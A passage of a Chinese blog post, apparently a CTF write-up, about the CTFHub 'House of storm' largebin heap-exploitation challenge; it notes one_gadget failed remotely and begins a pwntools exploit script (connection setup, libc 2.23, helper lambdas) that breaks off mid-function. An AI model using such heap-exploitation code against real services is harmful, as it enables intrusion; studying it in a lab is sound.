CTFHUB[技能树]---Largebin Attack（House of storm）

原创

已于 2023-02-07 11:56:21 修改 · 277 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#linux #安全 #运维

于 2023-02-07 11:03:20 首次发布

这题one_gadget打不了，本地能打成功，远程试遍了都不行，所以要改栈帧

本地的exp

在这里插入图片描述

from pwn import *
from LibcSearcher import *

context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./house_of_storm"
#io = remote("challenge-aa33f598e4074e46.sandbox.ctfhub.com",25540)
io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.23.so")

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))


def add(idx,size):
	ru(b"choice: \n")
	sl(b"1")
	ru(b"idx:")
	sl(str(idx))
	ru